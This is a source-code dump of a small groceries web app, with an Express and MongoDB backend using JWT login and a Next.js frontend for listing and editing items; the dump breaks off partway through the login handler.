├── .gitignore ├── backend ├── .env.sample ├── .gitignore ├── nodemon.json ├── src │ ├── utils │ │ ├── joi-login-schema.ts │ │ ├── joi-signup-schema.ts │ │ ├── docs.ts │ │ ├── db.ts │ │ └── joi-edit-user-schema.ts │ ├── controllers │ │ ├── auth.controller.ts │ │ ├── groceryitem.controller.ts │ │ ├── auth.service.ts │ │ └── groceryItem.service.ts │ ├── model │ │ ├── user.ts │ │ └── grocery-item.ts │ ├── middleware │ │ └── auth-request.ts │ └── index.ts ├── tsconfig.json ├── package.json └── pnpm-lock.yaml ├── frontend ├── .env.sample ├── .eslintrc.json ├── public │ ├── favicon.ico │ ├── vercel.svg │ └── next.svg ├── postcss.config.js ├── utils │ ├── grocery-item-model.ts │ ├── user-model.ts │ ├── global-atom.ts │ ├── loader.tsx │ ├── item-list-hook.ts │ ├── item-hook.ts │ └── auth-hook.ts ├── components │ ├── user │ │ ├── grocery-item-schema.ts │ │ ├── user-schema.ts │ │ ├── item-card.tsx │ │ ├── add-item-modal.tsx │ │ └── edit-item-modal.tsx │ ├── button.tsx │ ├── input.tsx │ ├── labeled-input.tsx │ └── auth-provider.tsx ├── pages │ ├── _document.tsx │ ├── _app.tsx │ ├── documentation.tsx │ ├── index.tsx │ ├── home.tsx │ ├── login.tsx │ └── signup.tsx ├── .gitignore ├── tailwind.config.ts ├── tsconfig.json ├── styles │ └── globals.css ├── package.json ├── README.md └── next.config.js └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store -------------------------------------------------------------------------------- /backend/.env.sample: -------------------------------------------------------------------------------- 1 | MONGODB_URI = 2 | JWT_SECRET = 3 | PORT = -------------------------------------------------------------------------------- /frontend/.env.sample: -------------------------------------------------------------------------------- 1 | NEXT_PUBLIC_API = 'http://localhost:3009' -------------------------------------------------------------------------------- /backend/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .DS_Store 3 | .env 4 | .env.local 5 | dist -------------------------------------------------------------------------------- /frontend/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "next/core-web-vitals" 3 | } 4 | -------------------------------------------------------------------------------- /frontend/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bugthug404/Groceries-next/HEAD/frontend/public/favicon.ico -------------------------------------------------------------------------------- /frontend/postcss.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | plugins: { 3 | tailwindcss: {}, 4 | autoprefixer: {}, 5 | }, 6 | } 7 | -------------------------------------------------------------------------------- /backend/nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "watch": ["src", "config"], 3 | "ext": "ts", 4 | "exec": "ts-node ./src/index.ts", 5 | "delay": "3000" 6 | } 7 | -------------------------------------------------------------------------------- /frontend/utils/grocery-item-model.ts: -------------------------------------------------------------------------------- 1 | export interface GroceryItemModel { 2 | _id?: string; 3 | name: string; 4 | category: string; 5 | price: string; 6 | quantityInStock: string; 7 | } 8 | -------------------------------------------------------------------------------- /frontend/utils/user-model.ts: -------------------------------------------------------------------------------- 1 | export interface UserModel { 2 | id: number; 3 | firstName: string; 4 | lastName: string; 5 | email: string; 6 | password?: string; 7 | address: string; 8 | } 9 | -------------------------------------------------------------------------------- /backend/src/utils/joi-login-schema.ts: -------------------------------------------------------------------------------- 1 | import Joi from "joi"; 2 | export const loginSchema = Joi.object({ 3 | email: Joi.string().email().required().lowercase(), 4 | password: Joi.string().min(6).required(), 5 | }); 6 | -------------------------------------------------------------------------------- /backend/src/controllers/auth.controller.ts: -------------------------------------------------------------------------------- 1 | import { Router } from "express"; 2 | import { login, signUp } from "./auth.service"; 3 | 4 | const authRouter = Router(); 5 | 6 | authRouter.post("/signup", signUp); 7 | authRouter.post("/login", login); 8 | 9 | export default authRouter; 10 | -------------------------------------------------------------------------------- /backend/src/utils/joi-signup-schema.ts: -------------------------------------------------------------------------------- 1 | import Joi from "joi"; 2 | export const signUpSchema = Joi.object({ 3 | firstName: Joi.string().required(), 4 | lastName: Joi.string().required(), 5 | email: Joi.string().email().required().lowercase(), 6 | password: Joi.string().min(6).required(), 7 | }); 8 | -------------------------------------------------------------------------------- /frontend/utils/global-atom.ts: -------------------------------------------------------------------------------- 1 | import { atom } from "jotai"; 2 | import { UserModel } from "./user-model"; 3 | 4 | export const userDataAtom = atom(null); 5 | 6 | export const userAuthTokenAtom = atom(null); 7 | 8 | export const globalLoaderAtom = atom(false); 9 | -------------------------------------------------------------------------------- /frontend/components/user/grocery-item-schema.ts: -------------------------------------------------------------------------------- 1 | import { z } from "zod"; 2 | 3 | export const groceryItemSchema = z.object({ 4 | name: z.string().min(1).max(100), 5 | category: z.string().min(1), 6 | price: z.string().min(1).max(100000), 7 | quantityInStock: z.string().min(1).max(100000), 8 | }); 9 | -------------------------------------------------------------------------------- /frontend/pages/_document.tsx: -------------------------------------------------------------------------------- 1 | import { Html, Head, Main, NextScript } from 'next/document' 2 | 3 | export default function Document() { 4 | return ( 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | ) 13 | } 14 | -------------------------------------------------------------------------------- /backend/src/utils/docs.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response } from "express"; 2 | import { User } from "../model/user"; 3 | 4 | export function getDocs(req: Request, res: Response) { 5 | const data = { 6 | swagger: "2.0", 7 | user: User.schema.obj, 8 | }; 9 | console.log("getDocs() called", data); 10 | res.status(200).send({ data: data }); 11 | } 12 | -------------------------------------------------------------------------------- /backend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2017", 4 | "module": "commonjs", 5 | "allowJs": true, 6 | "outDir": "./dist", 7 | "esModuleInterop": true, 8 | "forceConsistentCasingInFileNames": true, 9 | "strict": true, 10 | "skipLibCheck": true /* Skip type checking all .d.ts files. */ 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /backend/src/utils/db.ts: -------------------------------------------------------------------------------- 1 | import mongoose from "mongoose"; 2 | import mysql from "mysql2"; 3 | 4 | export const connectToMongoDB = async () => { 5 | try { 6 | await mongoose.connect(process.env.MONGODB_URI ?? ""); 7 | console.log("Connected to MongoDB!"); 8 | } catch (error) { 9 | console.error("Error connecting to MongoDB:", error); 10 | } 11 | }; 12 | -------------------------------------------------------------------------------- /backend/src/utils/joi-edit-user-schema.ts: -------------------------------------------------------------------------------- 1 | import Joi from "joi"; 2 | export const groceryItemSchema = Joi.object({ 3 | firstName: Joi.string().required(), 4 | lastName: Joi.string().required(), 5 | email: Joi.string().email().required().lowercase(), 6 | mobile: Joi.string().required(), 7 | profession: Joi.string().required(), 8 | address: Joi.string().required(), 9 | role: Joi.string().required(), 10 | }); 11 | -------------------------------------------------------------------------------- /frontend/components/user/user-schema.ts: -------------------------------------------------------------------------------- 1 | import { z } from "zod"; 2 | 3 | export const userSignupSchema = z.object({ 4 | firstName: z.string().min(1).max(100), 5 | lastName: z.string().min(1).max(100), 6 | email: z.string().email(), 7 | password: z.string().min(6).max(100), 8 | }); 9 | 10 | export const userLoginSchema = z.object({ 11 | email: z.string().email(), 12 | password: z.string().min(6).max(100), 13 | }); 14 | -------------------------------------------------------------------------------- /backend/src/model/user.ts: -------------------------------------------------------------------------------- 1 | import { required } from "joi"; 2 | import mongoose from "mongoose"; 3 | 4 | const userSchema = new mongoose.Schema( 5 | { 6 | firstName: { type: String, required: true }, 7 | lastName: { type: String, required: true }, 8 | email: { type: String, required: true }, 9 | password: { type: String, required: true }, 10 | }, 11 | { timestamps: true } 12 | ); 13 | 14 | export const User = mongoose.model("User", userSchema); 15 | -------------------------------------------------------------------------------- /backend/src/model/grocery-item.ts: -------------------------------------------------------------------------------- 1 | import mongoose from "mongoose"; 2 | 3 | const groceryItemSchema = new mongoose.Schema( 4 | { 5 | name: { type: String, required: true }, 6 | category: { type: String, required: true }, 7 | price: { type: Number, required: true }, 8 | quantityInStock: { type: Number, required: true }, 9 | }, 10 | { timestamps: true } 11 | ); 12 | 13 | export const GroceryItem = mongoose.model( 14 | "GroceryItem", 15 | groceryItemSchema, 16 | "grocery_items" 17 | ); 18 | -------------------------------------------------------------------------------- /backend/src/controllers/groceryitem.controller.ts: -------------------------------------------------------------------------------- 1 | import { Router } from "express"; 2 | import { 3 | createGroceryItem, 4 | deleteGroceryItem, 5 | getAllGroceryItem, 6 | updateGroceryItem, 7 | } from "./groceryItem.service"; 8 | 9 | const groceriesRouter = Router(); 10 | 11 | groceriesRouter.get("/list", getAllGroceryItem); 12 | groceriesRouter.post("/add", createGroceryItem); 13 | groceriesRouter.put("/edit/:id", updateGroceryItem); 14 | groceriesRouter.delete("/delete/:id", deleteGroceryItem); 15 | 16 | export default groceriesRouter; 17 | -------------------------------------------------------------------------------- /frontend/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | .yarn/install-state.gz 8 | 9 | # testing 10 | /coverage 11 | 12 | # next.js 13 | /.next/ 14 | /out/ 15 | 16 | # production 17 | /build 18 | 19 | # misc 20 | .DS_Store 21 | *.pem 22 | 23 | # debug 24 | npm-debug.log* 25 | yarn-debug.log* 26 | yarn-error.log* 27 | 28 | # local env files 29 | .env*.local 30 | .env 31 | 32 | # vercel 33 | .vercel 34 | 35 | # typescript 36 | *.tsbuildinfo 37 | next-env.d.ts 38 | 39 | certificates -------------------------------------------------------------------------------- /frontend/components/button.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | 3 | export default function Button({ 4 | className, 5 | onClick, 6 | children, 7 | type = "button", 8 | }: { 9 | className?: string; 10 | onClick?: () => void; 11 | children?: React.ReactNode; 12 | type?: "button" | "submit" | "reset"; 13 | }) { 14 | return ( 15 | 22 | ); 23 | } 24 | -------------------------------------------------------------------------------- /frontend/tailwind.config.ts: -------------------------------------------------------------------------------- 1 | import type { Config } from 'tailwindcss' 2 | 3 | const config: Config = { 4 | content: [ 5 | './pages/**/*.{js,ts,jsx,tsx,mdx}', 6 | './components/**/*.{js,ts,jsx,tsx,mdx}', 7 | './app/**/*.{js,ts,jsx,tsx,mdx}', 8 | ], 9 | theme: { 10 | extend: { 11 | backgroundImage: { 12 | 'gradient-radial': 'radial-gradient(var(--tw-gradient-stops))', 13 | 'gradient-conic': 14 | 'conic-gradient(from 180deg at 50% 50%, var(--tw-gradient-stops))', 15 | }, 16 | }, 17 | }, 18 | plugins: [], 19 | } 20 | export default config 21 | -------------------------------------------------------------------------------- /frontend/public/vercel.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /frontend/pages/_app.tsx: -------------------------------------------------------------------------------- 1 | import { AuthProvider } from "@/components/auth-provider"; 2 | import "@/styles/globals.css"; 3 | import Loader from "@/utils/loader"; 4 | import type { AppProps } from "next/app"; 5 | import { QueryClient, QueryClientProvider } from "react-query"; 6 | 7 | export default function App({ Component, pageProps }: AppProps) { 8 | const client = new QueryClient(); 9 | return ( 10 | <> 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | ); 19 | } 20 | -------------------------------------------------------------------------------- /frontend/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "strict": true, 8 | "noEmit": true, 9 | "esModuleInterop": true, 10 | "module": "esnext", 11 | "moduleResolution": "bundler", 12 | "resolveJsonModule": true, 13 | "isolatedModules": true, 14 | "jsx": "preserve", 15 | "incremental": true, 16 | "baseUrl": ".", 17 | "paths": { 18 | "@/*": ["*"] 19 | } 20 | }, 21 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", "pages/api/abc.liquid"], 22 | "exclude": ["node_modules"] 23 | } 24 | -------------------------------------------------------------------------------- /frontend/components/input.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | 3 | export default function Input({ 4 | Ref, 5 | value, 6 | placeholder, 7 | className, 8 | }: { 9 | Ref?: React.RefObject; 10 | value?: string; 11 | placeholder?: string; 12 | className?: string; 13 | }) { 14 | return ( 15 | { 21 | if (Ref?.current?.value) { 22 | Ref.current.value = e.target.value; 23 | } 24 | }} // to remove warning 25 | className={ 26 | "pl-4 py-2 focus:outline-none bg-gray-900 rounded-xl font-bold" + 27 | className 28 | } 29 | /> 30 | ); 31 | } 32 | -------------------------------------------------------------------------------- /frontend/utils/loader.tsx: -------------------------------------------------------------------------------- 1 | import { useAtom } from "jotai"; 2 | import React from "react"; 3 | import { globalLoaderAtom } from "./global-atom"; 4 | 5 | export default function Loader() { 6 | const [loading, setLoading] = useAtom(globalLoaderAtom); 7 | return ( 8 | <> 9 | {loading && ( 10 |
17 |
18 | 26 |
27 | )} 28 | 29 | ); 30 | } 31 | -------------------------------------------------------------------------------- /frontend/pages/documentation.tsx: -------------------------------------------------------------------------------- 1 | import Link from "next/link"; 2 | import React from "react"; 3 | 4 | export default function Documentation() { 5 | return ( 6 |
7 |
8 | 9 | Home 10 | 11 | 18 | View in docs 19 | 20 |
21 | 25 |
26 | ); 27 | } 28 | -------------------------------------------------------------------------------- /frontend/pages/index.tsx: -------------------------------------------------------------------------------- 1 | import { useAuth } from "@/utils/auth-hook"; 2 | import Loader from "@/utils/loader"; 3 | import Link from "next/link"; 4 | import React from "react"; 5 | 6 | export default function Index() { 7 | const auth = useAuth(); 8 | return ( 9 | <> 10 |
11 |
12 |
13 | Groceries App (NodeJS + NextJs) 14 |
15 |
16 | Login 17 | Signup 18 |
{ 20 | auth.testApiCall(); 21 | }} 22 | > 23 | Test api 24 |
25 |
26 |
27 |
28 | 29 | ); 30 | } 31 | -------------------------------------------------------------------------------- /backend/src/middleware/auth-request.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response, NextFunction } from "express"; 2 | import jwt from "jsonwebtoken"; 3 | 4 | export async function authRequest( 5 | req: Request, 6 | res: Response, 7 | next: NextFunction 8 | ) { 9 | const authHeader = req.headers.authorization; 10 | 11 | try { 12 | let token = authHeader?.split(" ")[1]; 13 | if (!token) { 14 | res.status(401).send({ error: "Invalid token", token: authHeader }); 15 | return; 16 | } 17 | 18 | const decodedToken = jwt.verify(token, process.env.JWT_SECRET!); 19 | console.log("decodedToken", decodedToken); 20 | 21 | if (!decodedToken) { 22 | res.status(401).send({ error: "Invalid token", token: authHeader }); 23 | return; 24 | } 25 | 26 | console.log("authorized request"); 27 | req.body.decodedToken = decodedToken; 28 | next(); 29 | } catch (error: any) { 30 | res.status(401).send({ error: error?.message }); 31 | return; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /backend/src/index.ts: -------------------------------------------------------------------------------- 1 | import express from "express"; 2 | import Cors from "cors"; 3 | import mongoose from "mongoose"; 4 | import { authRequest } from "./middleware/auth-request"; 5 | import * as dotenv from "dotenv"; 6 | import { connectToMongoDB } from "./utils/db"; 7 | import authRouter from "./controllers/auth.controller"; 8 | import groceriesRouter from "./controllers/groceryitem.controller"; 9 | 10 | dotenv.config(); 11 | mongoose.set("strictQuery", false); 12 | const app = express(); 13 | const port = process.env.PORT || 3009; 14 | app.use( 15 | Cors({ 16 | origin: "*", 17 | methods: "GET,HEAD,PUT,PATCH,POST,DELETE", 18 | }) 19 | ); 20 | // add json middleware 21 | app.use(express.json()); 22 | 23 | connectToMongoDB(); 24 | 25 | app.get("/", (req, res) => 26 | res.status(200).send({ 27 | data: `server says : get request on time : ${new Date().toLocaleTimeString()}`, 28 | }) 29 | ); 30 | 31 | app.use("/", authRouter); 32 | app.use("/groceries", authRequest, groceriesRouter); 33 | 34 | app.listen(port, () => { 35 | console.log(`server started on port ${port}`); 36 | }); 37 | -------------------------------------------------------------------------------- /frontend/styles/globals.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | 5 | :root { 6 | --foreground-rgb: 0, 0, 0; 7 | --background-start-rgb: 214, 219, 220; 8 | --background-end-rgb: 255, 255, 255; 9 | } 10 | 11 | @media (prefers-color-scheme: dark) { 12 | :root { 13 | --foreground-rgb: 255, 255, 255; 14 | --background-start-rgb: 0, 0, 0; 15 | --background-end-rgb: 0, 0, 0; 16 | } 17 | } 18 | 19 | body { 20 | color: rgb(var(--foreground-rgb)); 21 | background: linear-gradient( 22 | to bottom, 23 | transparent, 24 | rgb(var(--background-end-rgb)) 25 | ) 26 | rgb(var(--background-start-rgb)); 27 | } 28 | 29 | .loading { 30 | height: 0; 31 | width: 0; 32 | padding: 15px; 33 | border: 6px solid #ccc; 34 | border-right-color: #888; 35 | border-radius: 22px; 36 | -webkit-animation: rotate 1s infinite linear; 37 | } 38 | 39 | @-webkit-keyframes rotate { 40 | /* 100% keyframe for clockwise. 41 | use 0% instead for anticlockwise */ 42 | 100% { 43 | -webkit-transform: rotate(360deg); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /frontend/utils/item-list-hook.ts: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import { useAtomValue, useSetAtom } from "jotai"; 3 | import { globalLoaderAtom, userAuthTokenAtom } from "./global-atom"; 4 | import { useQuery } from "react-query"; 5 | import { GroceryItemModel } from "./grocery-item-model"; 6 | 7 | export function useGroceryItemList() { 8 | const token = useAtomValue(userAuthTokenAtom); 9 | const setLoader = useSetAtom(globalLoaderAtom); 10 | 11 | const { data, refetch } = useQuery( 12 | "groceryItemList", 13 | () => { 14 | setLoader(true); 15 | return axios.get( 16 | `${process.env.NEXT_PUBLIC_API}/groceries/list`, 17 | { 18 | headers: { 19 | "Content-Type": "application/json", 20 | Accept: "application/json", 21 | "Access-Control-Allow-Origin": "*", 22 | Authorization: `Bearer ${token}`, 23 | }, 24 | } 25 | ); 26 | }, 27 | { 28 | enabled: !!token, 29 | onSuccess: () => { 30 | setLoader(false); 31 | }, 32 | refetchOnWindowFocus: false, 33 | } 34 | ); 35 | 36 | return { list: data?.data, refetch }; 37 | } 38 | -------------------------------------------------------------------------------- /backend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "backend", 3 | "version": "1.0.0", 4 | "description": "", 5 | "node": "16.14.0", 6 | "scripts": { 7 | "dev": "nodemon --exec ts-node src/index.ts", 8 | "test": "echo \"Error: no test specified\" && exit 1", 9 | "start": "node dist/index.js", 10 | "build": "tsc" 11 | }, 12 | "keywords": [], 13 | "author": "", 14 | "license": "ISC", 15 | "dependencies": { 16 | "@types/bcrypt": "^5.0.2", 17 | "@types/express": "^4.17.21", 18 | "@types/jsonwebtoken": "^9.0.5", 19 | "bcrypt": "^5.1.1", 20 | "body-parser": "^1.20.2", 21 | "cors": "^2.8.5", 22 | "dotenv": "^16.3.1", 23 | "express": "^4.18.2", 24 | "express-session": "^1.17.3", 25 | "joi": "^17.11.0", 26 | "jsonwebtoken": "^9.0.2", 27 | "mongoose": "^6.12.3", 28 | "mysql2": "^3.6.3", 29 | "nodemon": "^2.0.22", 30 | "pbkdf2-password": "^1.2.1", 31 | "swagger-jsdoc": "^6.2.8", 32 | "swagger-ui-express": "^5.0.0", 33 | "ts-node": "^10.9.1", 34 | "typescript": "^4.9.5" 35 | }, 36 | "devDependencies": { 37 | "@types/cors": "^2.8.16", 38 | "@types/express-session": "^1.17.10", 39 | "@types/node": "^18.18.9" 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /frontend/components/labeled-input.tsx: -------------------------------------------------------------------------------- 1 | import React, { useRef } from "react"; 2 | import { UseFormRegisterReturn } from "react-hook-form"; 3 | 4 | interface InputProps extends React.InputHTMLAttributes { 5 | label: string; 6 | placeholder?: string; 7 | register: UseFormRegisterReturn; 8 | error: any; 9 | type?: string; 10 | } 11 | export default function LabeledInput({ 12 | register, 13 | label, 14 | error, 15 | type = "text", 16 | }: InputProps) { 17 | return ( 18 |
19 | 20 | 27 | 28 |

33 | {error} 34 |

35 |
36 | ); 37 | } 38 | -------------------------------------------------------------------------------- /frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "next", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev", 7 | "build": "next build", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "@hookform/resolvers": "^3.3.3", 13 | "@next/font": "^14.0.4", 14 | "@simplewebauthn/browser": "^8.3.4", 15 | "@simplewebauthn/server": "^8.3.5", 16 | "atom": "^1.4.2", 17 | "axios": "^1.6.2", 18 | "bcryptjs": "^2.4.3", 19 | "cookies": "^0.8.0", 20 | "install": "^0.13.0", 21 | "jotai": "^2.6.0", 22 | "jsonwebtoken": "^9.0.2", 23 | "mongodb": "^6.3.0", 24 | "mongoose": "^8.0.3", 25 | "next": "14.0.3", 26 | "npm": "^10.2.5", 27 | "react": "^18", 28 | "react-dom": "^18", 29 | "react-hook-form": "^7.49.2", 30 | "react-query": "^3.39.3", 31 | "zod": "^3.22.4" 32 | }, 33 | "devDependencies": { 34 | "@types/bcryptjs": "^2.4.6", 35 | "@types/cookies": "^0.7.10", 36 | "@types/jsonwebtoken": "^9.0.5", 37 | "@types/node": "^20", 38 | "@types/react": "^18", 39 | "@types/react-dom": "^18", 40 | "autoprefixer": "^10.0.1", 41 | "eslint": "^8", 42 | "eslint-config-next": "14.0.3", 43 | "postcss": "^8", 44 | "tailwindcss": "^3.3.0", 45 | "typescript": "^5" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /frontend/public/next.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /frontend/components/user/item-card.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import Button from "../button"; 3 | import { useGroceryItemHook } from "@/utils/item-hook"; 4 | import { GroceryItemModel } from "@/utils/grocery-item-model"; 5 | 6 | export default function ItemCard({ 7 | item, 8 | setEditId, 9 | }: { 10 | item: GroceryItemModel; 11 | setEditId: React.Dispatch>; 12 | }) { 13 | const itemHook = useGroceryItemHook(); 14 | 15 | return ( 16 |
17 | {/* */} 18 |
{item?.name}
19 |
Category: {item?.category}
20 |
Price: {item?.price}
21 |
Available Stock: {item?.quantityInStock}
22 |
23 | 30 | 39 |
40 |
41 | ); 42 | } 43 | -------------------------------------------------------------------------------- /frontend/components/auth-provider.tsx: -------------------------------------------------------------------------------- 1 | import { useAuth } from "@/utils/auth-hook"; 2 | import { 3 | globalLoaderAtom, 4 | userAuthTokenAtom, 5 | userDataAtom, 6 | } from "@/utils/global-atom"; 7 | import { useAtom, useAtomValue, useSetAtom } from "jotai"; 8 | import { useRouter } from "next/router"; 9 | import React, { useEffect } from "react"; 10 | 11 | export function AuthProvider(props: { children: React.ReactNode }) { 12 | const setLoaderOpen = useSetAtom(globalLoaderAtom); 13 | const auth = useAuth(); 14 | const [token, setToken] = useAtom(userAuthTokenAtom); 15 | const [user, setUser] = useAtom(userDataAtom); 16 | const router = useRouter(); 17 | const publicpath = [ 18 | "/", 19 | "/login", 20 | "/signup", 21 | "/forgot-password", 22 | "/reset-password", 23 | ]; 24 | 25 | useEffect(() => { 26 | console.log("auth provider"); 27 | setLoaderOpen(true); 28 | if (!user) { 29 | const info = localStorage.getItem("userData"); 30 | if (info) { 31 | setUser(JSON.parse(info).user); 32 | setToken(JSON.parse(info).token); 33 | router.push("/home"); 34 | setLoaderOpen(false); 35 | return; 36 | } else if (publicpath.includes(router.pathname)) { 37 | setLoaderOpen(false); 38 | return; 39 | } else { 40 | router.push("/login"); 41 | setLoaderOpen(false); 42 | return; 43 | } 44 | } else { 45 | router.push("/home"); 46 | setLoaderOpen(false); 47 | return; 48 | } 49 | }, [router.pathname]); 50 | 51 | if (auth.user && !publicpath.includes(router.pathname)) { 52 | return <>{props.children}; 53 | } else if (!token && publicpath.includes(router.pathname)) { 54 | return <>{props.children}; 55 | } else { 56 | return <>{props.children}; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Groceries 2 | 3 | ## Getting Started 4 | 5 | Follow these steps to run this project on your local machine: 6 | 7 | 1. **Clone the repository** 8 | 9 | If you haven't already, clone the repository to your local machine: 10 | 11 | ```bash 12 | git clone https://github.com/bugthug404/Groceries-next.git 13 | ``` 14 | 15 | 2. **Navigate to the project directory** 16 | 17 | Change your current directory to the project directory: 18 | 19 | ```bash 20 | cd Groceries-next 21 | ``` 22 | 23 | 3. **Install dependencies** 24 | You need to install the dependencies for both the frontend and backend. 25 | 26 | _Note: Open 2 terminal 1 for backend & 1 for frontend to keep both process seperate._ 27 | 28 | For the frontend (frontend terminal): 29 | 30 | ```bash 31 | cd frontend 32 | npm install 33 | ``` 34 | 35 | For the backend (backend terminal): 36 | 37 | ```bash 38 | cd backend 39 | npm install 40 | ``` 41 | 42 | 4. **Set up environment variables** 43 | Copy the sample environment variable files and fill in the necessary values: 44 | 45 | For the frontend (frontend terminal): 46 | 47 | ```bash 48 | cp .env.sample .env.local 49 | ``` 50 | 51 | For the backend (backend terminal): 52 | 53 | ```bash 54 | cp .env.sample .env 55 | ``` 56 | 57 | 5. **Start the servers** 58 | You can now start the frontend and backend servers. 59 | 60 | For the frontend (frontend terminal): 61 | 62 | ```bash 63 | npm run dev 64 | ``` 65 | 66 | For the backend (backend terminal): 67 | 68 | ```bash 69 | npm run dev 70 | ``` 71 | 72 | Now, you should be able to access the application at `http://localhost:3000` (or whatever port your frontend server is running on). 73 | 74 | Test online demo [here](https://groceries-next.vercel.app/). 75 | 76 | _Note: backend is deployed in render.com & may take some time in first api call. 77 | run test api call to check if backend is working or not. 78 | default form data for login & signup can be edited_ 79 | -------------------------------------------------------------------------------- /frontend/README.md: -------------------------------------------------------------------------------- 1 | This is a [Next.js](https://nextjs.org/) project bootstrapped with [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app). 2 | 3 | ## Getting Started 4 | 5 | First, run the development server: 6 | 7 | ```bash 8 | # npm run dev 9 | npm run dev --experimental-https 10 | # or 11 | yarn dev 12 | # or 13 | pnpm dev 14 | # or 15 | bun dev 16 | ``` 17 | 18 | Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. 19 | 20 | You can start editing the page by modifying `pages/index.tsx`. The page auto-updates as you edit the file. 21 | 22 | [API routes](https://nextjs.org/docs/api-routes/introduction) can be accessed on [http://localhost:3000/api/hello](http://localhost:3000/api/hello). This endpoint can be edited in `pages/api/hello.ts`. 23 | 24 | The `pages/api` directory is mapped to `/api/*`. Files in this directory are treated as [API routes](https://nextjs.org/docs/api-routes/introduction) instead of React pages. 25 | 26 | This project uses [`next/font`](https://nextjs.org/docs/basic-features/font-optimization) to automatically optimize and load Inter, a custom Google Font. 27 | 28 | ## Learn More 29 | 30 | To learn more about Next.js, take a look at the following resources: 31 | 32 | - [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. 33 | - [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. 34 | 35 | You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js/) - your feedback and contributions are welcome! 36 | 37 | ## Deploy on Vercel 38 | 39 | The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. 40 | 41 | Check out our [Next.js deployment documentation](https://nextjs.org/docs/deployment) for more details. 42 | -------------------------------------------------------------------------------- /frontend/pages/home.tsx: -------------------------------------------------------------------------------- 1 | import React, { useEffect } from "react"; 2 | import ItemCard from "@/components/user/item-card"; 3 | import AddUser from "@/components/user/add-item-modal"; 4 | import { useAuth } from "@/utils/auth-hook"; 5 | import { useGroceryItemList } from "@/utils/item-list-hook"; 6 | import Button from "@/components/button"; 7 | import EditItemModal from "../components/user/edit-item-modal"; 8 | 9 | export default function HomePage() { 10 | const auth = useAuth(); 11 | const groceryList = useGroceryItemList(); 12 | const [show, setShow] = React.useState(false); 13 | const [editId, setEditId] = React.useState(); 14 | 15 | return ( 16 |
17 | 18 | 23 |
24 |
25 |
26 | Logged In User:{" "} 27 | 28 | {auth?.user?.firstName} {auth?.user?.lastName} 29 | 30 |
31 |

{auth?.user?.email}

32 |
33 | 40 | 47 |
48 |
49 |
50 |
51 | {groceryList.list?.map((item, index) => { 52 | return ; 53 | })} 54 |
55 |
56 | ); 57 | } 58 | -------------------------------------------------------------------------------- /backend/src/controllers/auth.service.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response } from "express"; 2 | import { User } from "../model/user"; 3 | import bcrypt from "bcrypt"; 4 | import jwt from "jsonwebtoken"; 5 | import Joi from "joi"; 6 | import { signUpSchema } from "../utils/joi-signup-schema"; 7 | import { loginSchema } from "../utils/joi-login-schema"; 8 | 9 | export async function signUp(req: Request, res: Response) { 10 | const validData = signUpSchema.validate(req.body); 11 | if (validData.error) 12 | return res.status(400).send({ error: validData.error.details[0].message }); 13 | 14 | const { firstName, lastName, email, password } = validData.value; 15 | 16 | const exists = await User.findOne({ email }); 17 | 18 | if (exists) { 19 | return res.status(400).send({ error: "User already exists" }); 20 | } 21 | 22 | const hashedPassword = await bcrypt.hash(password, 10); 23 | 24 | User.create({ 25 | firstName, 26 | lastName, 27 | email, 28 | password: hashedPassword, 29 | }) 30 | .then((result) => { 31 | const token = jwt.sign( 32 | { 33 | email: result.email, 34 | userId: result._id.toString(), 35 | }, 36 | process.env.JWT_SECRET! 37 | ); 38 | res.status(201).send({ user: result, token }); 39 | }) 40 | .catch((err) => { 41 | console.log(err); 42 | res.status(500).send({ error: err.message }); 43 | }); 44 | } 45 | 46 | export async function login(req: Request, res: Response) { 47 | const validData = loginSchema.validate(req.body); 48 | if (validData.error) 49 | return res.status(400).send({ error: validData.error.details[0].message }); 50 | 51 | const { email, password } = req.body; 52 | 53 